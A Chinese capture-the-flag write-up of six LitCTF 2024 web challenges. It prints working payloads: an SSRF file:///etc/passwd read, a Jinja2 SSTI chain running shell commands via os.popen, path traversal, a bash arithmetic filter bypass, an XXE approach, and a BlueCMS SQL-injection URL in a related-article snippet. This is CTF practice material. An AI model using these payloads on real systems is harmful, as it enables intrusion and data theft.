LitCTF2024赛后web复现
复现要求:看wp做一遍,自己做一遍,第二天再做一遍。(一眼看出来就跳过)
目录
[LitCTF 2024]浏览器也能套娃?
[LitCTF 2024]一个....池子?
[LitCTF 2024]高亮主题(划掉)背景查看器
[LitCTF 2024]百万美元的诱惑
[LitCTF 2024]SAS - Serializing Authentication
[LitCTF 2024]exx
[LitCTF 2024]浏览器也能套娃?
类型:ssrf、http协议
尝试输入http://127.0.0.1发现跳出一个相同页面,输入http://www.baidu.com发现跳转到了百度页面,这里我们可以想到可能是ssrf漏洞

直接用file伪协议
file伪协议:允许直接访问本地文件系统
file:///path/file
输入file:///etc/passwd尝试发现有回显

既然有/etc/passwd这个目录存在且里面也没有发现flag的相关信息,尝试查看一下/flag目录存在不存在,直接得到flag。
file:///flag
[LitCTF 2024]一个....池子?
类型:SSTI、Flask(Jinja2)

看到这个页面会联想到的漏洞可能是xss也可能ssti,用xss弹cookie发现没有弹出flag先不考虑先用ssti。
输入{{7*7}},回显49说明存在ssti漏洞

输入{{"".__class__}}发现回显成功不存在过滤

{{"".__class__.__base__.__subclasses__()[137].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls /').read()")}}

{{"".__class__.__base__.__subclasses__()[137].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}
[LitCTF 2024]高亮主题(划掉)背景查看器
类型:文件包含、目录穿越
进入后看到一段php代码且是文件包含漏洞演示
先根据页面里代码提示的在url里用?url=/ect/passwd尝试看看有没有回显结果发现一直在加载中说明url里不存在漏洞
用hackbar打开post传参一下theme=/etc/passwd发现有报错信息不能打开这个文件且现在的路径是themes//etc/p说明当前页面的路径是themes,可能存在漏洞

用目录穿越继续测试../etc/passwd发现还在themes路径下
../../etc/passwd发现成功穿越到var/www路径下

此时尝试../../flag发现没有这个文件那就继续穿越(正常有/etc/passwd的路径下才可能有flag)
试了半天没动静感觉可能hackbar有问题用bp抓包弄弄(之前也有出现过就无语)

也是成功回显,这时候再改成flag试试
成功得到flag

[LitCTF 2024]百万美元的诱惑
类型:无字母RCE、无数RCE、PHP
代码审计
is_numeric()函数:用于检查传入函数中作为参数的变量是数字还是数字字符串,该函数返回一个布尔值
扩展:
type_digit() 和 is_numeric() 都可以 “判断变量是否为数字”。
type_digit() :只有在字符串中全是「数字」才会返回 true ,整型、浮点型、甚至包含正负符号的值都返回 false。
is_numeric() :对整型、浮点型、以及包含正负符号的值都返回 true 。
由于is_numeric()前有一个!说明逻辑取反,变量c不是数字但是变量c的大小要大于2024所以用2025e即可绕过
完整payload:
?a[]=1&b[]=2&c=2025e

得到一个php文件
访问得到新的php代码

flag在12.php里,通过rce得到,只需要x=12即可得到,但是需要绕过正则。
这里想不到12需要怎么构造来绕过查了一波资料
在Linux中,可以使用
$(())进行数学运算,$(())是空运算,默认值是0。$((3*4))=12
由于这里数字全被禁用了所以我们需要进一步构造
$((~$(())))=-1
$(())内部数学表达式的结果为$(())=0,按位取反后的结果是 -1。
继续
$((~$(())))$((~$(())))=-1-1=-2
$((~$(($((~$(())))$((~$(())))$((~$(())))))))=-(-3+1)=2
构造payload:
dollar.php?x=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
打开后是个空白界面根据之前做题经验查看源代码得到flag

[LitCTF 2024]SAS - Serializing Authentication
类型:PHP反序列化

根据代码直接username=admin,password=secure_password且需要base64_encode加密

输入直接得到flag

[LitCTF 2024]exx
类型:XXE、PHP

看到登入界面我们先输个常规的admin 123456进去试试

发现在上面有回显登入失败
接着测试一下有没有sql注入,ssti注入和xss发现都不存在
打开源代码查看(另一种思路则是用bp打开fuzz得到回显)

发现一串代码(且从代码可以看出是关于用户名提交和密码提交),请求包的格式是xml,有一个php文件打开是一个报错页面

看到了DOMDocument::loadXML字样,再根据题目名称和登录请求包格式(XML格式),推测是考察XXE那一块。
DOCTYPE用于定义xml文件中实体内容
DOCTYPE声明
**内部声明DTD**
<!DOCTYPE 根元素 [元素声明]>**引用外部DTD**
<!DOCTYPE 根元素 SYSTEM "文件名">
DOCTYPE内部实体分类
**引用内部实体**
<!ENTITY 实体名称 "实体的值">
**引用外部实体**
<!ENTITY 实体名称 SYSTEM "URL">
或者:
<!ENTITY 实体名称 PUBLIC "public_ID" "URL">实体必须在DTD中声明定义才能在其他位置使用
打开bp开始构造payload
先构造内部实体用伪协议查看发现都不可行,可能在外部,构造payload引用外部实体b

正常会先查看/etc/passwd这个目录这边就不放进去了
得到一串base64字符串解密后得到flag

相关文章:
LitCTF2024赛后web复现
复现要求:看wp做一遍,自己做一遍,第二天再做一遍。(一眼看出来就跳过) 目录 [LitCTF 2024]浏览器也能套娃? [LitCTF 2024]一个....池子? [LitCTF 2024]高亮主题(划掉)背景查看器 [LitCTF 2…...
Elasticsearch:跨集群使用 ES|QL
警告:ES|QL 的跨集群搜索目前处于技术预览阶段,可能会在未来版本中更改或删除。Elastic 将努力解决任何问题,但技术预览中的功能不受官方 GA 功能的支持 SLA 约束。 使用 ES|QL,你可以跨多个集群执行单个查询。 前提: …...
学习笔记4:docker和k8s选择简述
docker和 k8s 占用资源 使用客户体量Docker 和 Kubernetes(K8s)都是流行的容器化技术,但它们在资源管理和使用上有一些不同。以下是关于两者资源占用和使用客户体量的详细比较,基于具体数据和信息: Docker 资源占用…...
关于锁策略
在Java中对于多线程来说,锁是一种重要且必不可少的东西,那么我们将如何使用以及在什么时候使用什么样的锁呢?请各位往下看 悲观锁VS乐观锁 悲观锁: 在多线程环境中,冲突是非常常见的,所以在执行操作之前…...
昇思25天学习打卡营第3天|基础知识-数据集Dataset
目录 环境 环境 导包 数据集加载 数据集迭代 数据集常用操作 shuffle map batch 自定义数据集 可随机访问数据集 可迭代数据集 生成器 MindSpore提供基于Pipeline的数据引擎,通过数据集(Dataset)和数据变换(Transfor…...
C++11新特性——智能指针——参考bibi《 原子之音》的视频以及ChatGpt
智能指针 一、内存泄露1.1 内存泄露常见原因1.2 如何避免内存泄露 二、实例Demo2.1 文件结构2.2 Dog.h2.3 Dog.cpp2.3 mian.cpp 三、独占式智能指针:unique _ptr3.1 创建方式3.1.1 ⭐从原始(裸)指针转换:3.1.2 ⭐⭐使用 new 关键字直接创建:3.1.3 ⭐⭐⭐…...
“微软蓝屏”全球宕机,敲响基础软件自主可控警钟
上周五,“微软蓝屏”“感谢微软 喜提假期”等词条冲上热搜,全球百万打工人受此影响,共同见证这一历史性事件。据微软方面发布消息称,旗下Microsoft 365系列服务出现访问中断。随后在全球范围内,包括企业、政府、个人在…...
【Linux C | 网络编程】进程间传递文件描述符socketpair、sendmsg、recvmsg详解
我们的目的是,实现进程间传递文件描述符,是指 A进程打开文件fileA,获得文件描述符为fdA,现在 A进程要通过某种方法,传递fdA,使得另一个进程B,获得一个新的文件描述符fdB,这个fdB在进程B中的作用…...
高并发内存池(六)Page Cache回收功能的实现
当Page Cache接收了一个来自Central Cache的Span,根据Span的起始页的_pageId来对前一页所对应的Span进行查找,并判断该Span,是否处于使用状态,从而看是否可以合并,如果可以合并继续向前寻找。 当该Span前的空闲Span查…...
浅析JWT原理及牛客出现过的相关面试题
原文链接:https://kixuan.github.io/posts/f568/ 对jwt总是一知半解,而且项目打算写个关于JWT登录的点,所以总结关于JWT的知识及网上面试考察过的点 参考资料: Cookie、Session、Token、JWT_通俗地讲就是验证当前用户的身份,证明-…...
Spring AI (五) Message 消息
5.Message 消息 在Spring AI提供的接口中,每条信息的角色总共分为三类: SystemMessage:系统限制信息,这种信息在对话中的权重很大,AI会优先依据SystemMessage里的内容进行回复; UserMessage:用…...
【windows Docker desktop】在git bash中报错 docker: command not found 解决办法
【windows Docker desktop】在git bash中报错 docker: command not found 解决办法 1. 首先检查在windows中环境变量是否设置成功2. 检查docker在git bash中环境变量是否配置3. 重新加载终端配置4. 最后在校验一下是否配置成功 1. 首先检查在windows中环境变量是否设置成功 启…...
02.FreeRTOS的移植
文章目录 FreeRTOS移植到STM32F103ZET6上的详细步骤1. 移植前的准备工作2. 添加FreeRTOS文件3. 修改SYSTEM文件4. 修改中断相关文件5. 修改FreeRTOSConfig.h文件6. 可选步骤 FreeRTOS移植到STM32F103ZET6上的详细步骤 1. 移植前的准备工作 **基础工程:**内存管理部…...
【个人笔记】一个例子理解工厂模式
工厂模式优点:创建时类名过长或者参数过多或者创建很麻烦等情况时用,可以减少重复代码,简化对象的创建过程,避免暴露创建逻辑,也适用于需要统一管理所有创建对象的情况,比如线程池的工厂类Executors 简单工…...
【C语言】数组栈的实现
栈的概念及结构 栈:一种特殊的线性表,其只允许在固定的一端进行插入和删除元素操作。进行数据插入和删除操作的一端 称为栈顶,另一端称为栈底。栈中的数据元素遵守后进先出LIFO(Last In First Out)的原则。 压栈&#…...
kafka 各种选举过程
一、kafka 消费者组协调器 如何选举 Kafka 中的消费者组协调器(Group Coordinator)是通过以下步骤选举的: 分区映射: Kafka 使用一个特殊的内部主题 __consumer_offsets 来存储消费者组的元数据。该主题有多个分区,每…...
树与二叉树【数据结构】
前言 之前我们已经学习过了各种线性的数据结构,顺序表、链表、栈、队列,现在我们一起来了解一下一种非线性的结构----树 1.树的结构和概念 1.1树的概念 树是一种非线性的数据结构,它是由n(n>0)个有限结点组成一…...
简单几步,把浏览器书签转换成导航网页
废话不多说直奔主题上干货 Step 1 下载浏览器书签 1,电脑浏览器点击下载Pintree Pintree 是一个开源项目,旨在将浏览器书签导出成导航网站。通过简单的几步操作,就可以将你的书签转换成一个美观且易用的导航页面。 2. 安装 Pintree B…...
Mac安装Hoomebrew与升级Python版本
参考 mac 安装HomeBrew(100%成功)_mac安装homebrew-CSDN博客 /bin/zsh -c "$(curl -fsSL https://gitee.com/cunkai/HomebrewCN/raw/master/Homebrew.sh)" 安装了Python 3.x版本,你可以使用以下命令来设置默认的Python版本: # 首先找到新安…...
代码审计:Bluecms v1.6
代码审计:Bluecms v1.6 漏洞列表如下(附Exp): 未完待续… 1、include/common.fun.php->getip()存在ip伪造漏洞 2、ad_js.php sql注入漏洞 Exp:view-source:http://127.0.0.3/bluecms/ad_js.php?ad_id12%20UNION%20SELECT1,2,3,4,5,6,database() 3、…...
铭豹扩展坞 USB转网口 突然无法识别解决方法
当 USB 转网口扩展坞在一台笔记本上无法识别,但在其他电脑上正常工作时,问题通常出在笔记本自身或其与扩展坞的兼容性上。以下是系统化的定位思路和排查步骤,帮助你快速找到故障原因: 背景: 一个M-pard(铭豹)扩展坞的网卡突然无法识别了,扩展出来的三个USB接口正常。…...
大数据学习栈记——Neo4j的安装与使用
本文介绍图数据库Neofj的安装与使用,操作系统:Ubuntu24.04,Neofj版本:2025.04.0。 Apt安装 Neofj可以进行官网安装:Neo4j Deployment Center - Graph Database & Analytics 我这里安装是添加软件源的方法 最新版…...
工业安全零事故的智能守护者:一体化AI智能安防平台
前言: 通过AI视觉技术,为船厂提供全面的安全监控解决方案,涵盖交通违规检测、起重机轨道安全、非法入侵检测、盗窃防范、安全规范执行监控等多个方面,能够实现对应负责人反馈机制,并最终实现数据的统计报表。提升船厂…...
Java - Mysql数据类型对应
Mysql数据类型java数据类型备注整型INT/INTEGERint / java.lang.Integer–BIGINTlong/java.lang.Long–––浮点型FLOATfloat/java.lang.FloatDOUBLEdouble/java.lang.Double–DECIMAL/NUMERICjava.math.BigDecimal字符串型CHARjava.lang.String固定长度字符串VARCHARjava.lang…...
Qwen3-Embedding-0.6B深度解析:多语言语义检索的轻量级利器
第一章 引言:语义表示的新时代挑战与Qwen3的破局之路 1.1 文本嵌入的核心价值与技术演进 在人工智能领域,文本嵌入技术如同连接自然语言与机器理解的“神经突触”——它将人类语言转化为计算机可计算的语义向量,支撑着搜索引擎、推荐系统、…...
2025 后端自学UNIAPP【项目实战:旅游项目】6、我的收藏页面
代码框架视图 1、先添加一个获取收藏景点的列表请求 【在文件my_api.js文件中添加】 // 引入公共的请求封装 import http from ./my_http.js// 登录接口(适配服务端返回 Token) export const login async (code, avatar) > {const res await http…...
linux 下常用变更-8
1、删除普通用户 查询用户初始UID和GIDls -l /home/ ###家目录中查看UID cat /etc/group ###此文件查看GID删除用户1.编辑文件 /etc/passwd 找到对应的行,YW343:x:0:0::/home/YW343:/bin/bash 2.将标红的位置修改为用户对应初始UID和GID: YW3…...
AI编程--插件对比分析:CodeRider、GitHub Copilot及其他
AI编程插件对比分析:CodeRider、GitHub Copilot及其他 随着人工智能技术的快速发展,AI编程插件已成为提升开发者生产力的重要工具。CodeRider和GitHub Copilot作为市场上的领先者,分别以其独特的特性和生态系统吸引了大量开发者。本文将从功…...
基于 TAPD 进行项目管理
起因 自己写了个小工具,仓库用的Github。之前在用markdown进行需求管理,现在随着功能的增加,感觉有点难以管理了,所以用TAPD这个工具进行需求、Bug管理。 操作流程 注册 TAPD,需要提供一个企业名新建一个项目&#…...
【C++特殊工具与技术】优化内存分配(一):C++中的内存分配
目录 一、C 内存的基本概念 1.1 内存的物理与逻辑结构 1.2 C 程序的内存区域划分 二、栈内存分配 2.1 栈内存的特点 2.2 栈内存分配示例 三、堆内存分配 3.1 new和delete操作符 4.2 内存泄漏与悬空指针问题 4.3 new和delete的重载 四、智能指针…...
